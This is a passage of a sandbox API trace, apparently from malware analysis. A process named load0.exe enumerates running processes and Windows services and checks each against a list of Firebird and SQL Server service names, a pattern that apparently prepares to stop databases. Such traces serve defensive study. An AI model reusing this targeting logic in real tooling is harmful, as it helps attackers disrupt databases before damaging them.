th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0291.139] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0291.139] Process32NextW (in: hSnapshot=0x1084, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x874, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x3c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0291.140] lstrlenW (lpString="sihost.exe") returned 10 [0291.140] Process32NextW (in: hSnapshot=0x1084, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x884, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0291.140] lstrlenW (lpString="svchost.exe") returned 11 [0291.140] Process32NextW (in: hSnapshot=0x1084, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0291.141] lstrlenW (lpString="taskhostw.exe") returned 13 [0291.141] Process32NextW (in: hSnapshot=0x1084, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x3c4, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0291.142] lstrlenW (lpString="msoia.exe") returned 9 [0291.142] Process32NextW (in: hSnapshot=0x1084, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x37, th32ParentProcessID=0x9b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0291.142] lstrlenW (lpString="explorer.exe") returned 12 [0291.142] Process32NextW (in: hSnapshot=0x1084, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xae0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0291.143] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0291.143] Process32NextW (in: hSnapshot=0x1084, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0291.144] lstrlenW (lpString="SearchUI.exe") returned 12 [0291.144] Process32NextW (in: hSnapshot=0x1084, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0291.145] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0291.145] Process32NextW (in: hSnapshot=0x1084, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0xdac, pcPriClassBase=8, dwFlags=0x0, szExeFile="load0.exe")) returned 1 [0291.145] lstrlenW (lpString="load0.exe") returned 9 [0291.145] Process32NextW (in: hSnapshot=0x1084, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0291.146] lstrlenW (lpString="svchost.exe") returned 11 [0291.146] Process32NextW (in: hSnapshot=0x1084, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2740, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xc6c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0291.147] lstrlenW (lpString="cmd.exe") returned 7 [0291.147] Process32NextW (in: hSnapshot=0x1084, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xba0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2740, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0291.147] lstrlenW (lpString="conhost.exe") returned 11 [0291.147] Process32NextW (in: hSnapshot=0x1084, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xba0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2740, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0 [0291.148] CloseHandle (hObject=0x1084) returned 1 [0291.148] Sleep (dwMilliseconds=0x1f4) [0291.679] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x7bd6c0 [0291.679] EnumServicesStatusExW (in: hSCManager=0x7bd6c0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x8d1ff3c, lpServicesReturned=0x8d1ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x8d1ff3c, lpServicesReturned=0x8d1ff54, lpResumeHandle=0x0) returned 0 [0291.680] GetLastError () returned 0xea [0291.680] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x1d10) returned 0x37b20c0 [0291.680] EnumServicesStatusExW (in: hSCManager=0x7bd6c0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x37b20c0, cbBufSize=0x1d10, pcbBytesNeeded=0x8d1ff3c, lpServicesReturned=0x8d1ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x37b20c0, pcbBytesNeeded=0x8d1ff3c, lpServicesReturned=0x8d1ff54, lpResumeHandle=0x0) returned 1 [0291.681] CloseServiceHandle (hSCObject=0x7bd6c0) returned 1 [0291.681] lstrlenW (lpString="Appinfo") returned 7 [0291.681] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0291.681] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0291.681] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0291.681] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0291.681] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0291.681] lstrlenW (lpString="AppXSvc") returned 7 [0291.681] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0291.681] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0291.681] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0291.681] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0291.681] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0291.681] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0291.681] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0291.681] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0291.681] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0291.681] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0291.681] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0291.681] lstrlenW (lpString="Audiosrv") returned 8 [0291.681] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0291.681] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0291.681] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0291.682] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0291.682] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0291.682] lstrlenW (lpString="BFE") returned 3 [0291.682] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0291.682] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0291.682] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0291.682] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0291.682] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0291.682] lstrlenW (lpString="BITS") returned 4 [0291.682] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0291.682] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0291.682] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0291.682] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0291.682] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0291.682] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0291.682] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0291.682] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0291.682] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0291.682] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0291.682] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0291.682] lstrlenW (lpString="CDPSvc") returned 6 [0291.682] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0291.682] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0291.682] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0291.682] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0291.682] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0291.682] lstrlenW (lpString="ClickToRunSvc") returned 13 [0291.682] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0291.682] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0291.683] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0291.683] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0291.683] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0291.683] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0291.683] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0291.683] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0291.683] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0291.683] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0291.683] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0291.683] lstrlenW (lpString="CryptSvc") returned 8 [0291.683] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0291.683] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0291.683] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0291.683] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0291.683] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0291.683] lstrlenW (lpString="DcomLaunch") returned 10 [0291.683] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0291.683] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0291.683] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0291.683] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0291.683] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0291.683] lstrlenW (lpString="DeviceAssociationService") returned 24 [0291.683] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0291.683] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0291.683] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0291.683] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0291.683] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0291.683] lstrlenW (lpString="Dhcp") returned 4 [0291.684] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0291.684] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0291.684] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0291.684] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0291.684] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0291.684] lstrlenW (lpString="Dnscache") returned 8 [0291.684] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0291.684] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0291.684] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0291.684] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0291.684] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0291.684] lstrlenW (lpString="DPS") returned 3 [0291.684] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0291.684] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0291.684] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0291.684] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0291.684] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0291.684] lstrlenW (lpString="DusmSvc") returned 7 [0291.684] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0291.684] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0291.684] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0291.684] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0291.684] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0291.684] lstrlenW (lpString="EventLog") returned 8 [0291.684] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0291.684] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0291.684] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0291.684] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0291.684] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0291.685] lstrlenW (lpString="EventSystem") returned 11 [0291.685] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0291.685] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0291.685] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0291.685] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0291.685] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0291.685] lstrlenW (lpString="FontCache") returned 9 [0291.685] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0291.685] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0291.685] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0291.685] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0291.685] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0291.685] lstrlenW (lpString="gpsvc") returned 5 [0291.685] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0291.685] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0291.685] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0291.685] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0291.685] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0291.685] lstrlenW (lpString="iphlpsvc") returned 8 [0291.685] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0291.685] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0291.685] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0291.685] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0291.685] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0291.685] lstrlenW (lpString="KeyIso") returned 6 [0291.685] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0291.685] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0291.685] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0291.685] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0291.686] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0291.686] lstrlenW (lpString="LanmanServer") returned 12 [0291.686] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0291.686] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0291.686] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0291.686] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0291.686] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0291.686] lstrlenW (lpString="LanmanWorkstation") returned 17 [0291.686] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0291.686] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0291.686] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0291.686] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0291.686] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0291.686] lstrlenW (lpString="lfsvc") returned 5 [0291.686] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0291.686] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0291.686] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0291.686] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0291.686] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0291.686] lstrlenW (lpString="lmhosts") returned 7 [0291.686] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0291.686] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0291.686] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0291.686] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0291.686] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0291.686] lstrlenW (lpString="LSM") returned 3 [0291.686] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0291.686] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0291.686] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0291.686] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0291.687] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0291.687] lstrlenW (lpString="MpsSvc") returned 6 [0291.687] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0291.687] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0291.687] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0291.687] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0291.687] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0291.687] lstrlenW (lpString="NcbService") returned 10 [0291.687] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0291.687] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0291.687] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0291.687] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0291.687] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0291.687] lstrlenW (lpString="netprofm") returned 8 [0291.687] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0291.687] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0291.687] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0291.687] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0291.687] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0291.687] lstrlenW (lpString="NgcSvc") returned 6 [0291.687] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0291.687] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0291.687] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0291.687] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0291.687] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0291.687] lstrlenW (lpString="NlaSvc") returned 6 [0291.687] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0291.687] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0291.687] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0291.688] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0291.688] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0291.688] lstrlenW (lpString="nsi") returned 3 [0291.688] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0291.688] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0291.688] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0291.688] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0291.688] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0291.688] lstrlenW (lpString="PcaSvc") returned 6 [0291.688] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0291.688] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0291.688] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0291.688] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0291.688] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0291.688] lstrlenW (lpString="PlugPlay") returned 8 [0291.688] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0291.688] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0291.688] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0291.688] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0291.688] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0291.688] lstrlenW (lpString="Power") returned 5 [0291.688] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0291.688] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0291.688] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0291.688] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0291.688] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0291.688] lstrlenW (lpString="ProfSvc") returned 7 [0291.688] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0291.688] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0291.688] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0291.688] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0291.688] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0291.688] lstrlenW (lpString="RpcEptMapper") returned 12 [0291.689] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0291.689] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0291.689] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0291.689] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0291.689] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0291.689] lstrlenW (lpString="RpcSs") returned 5 [0291.689] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0291.689] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0291.689] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0291.689] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0291.689] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0291.689] lstrlenW (lpString="SamSs") returned 5 [0291.689] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0291.689] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0291.689] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0291.689] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0291.689] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0291.689] lstrlenW (lpString="Schedule") returned 8 [0291.689] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0291.689] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0291.689] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0291.689] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0291.689] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0291.689] lstrlenW (lpString="SecurityHealthService") returned 21 [0291.689] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0291.689] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0291.689] lstrcmpiW 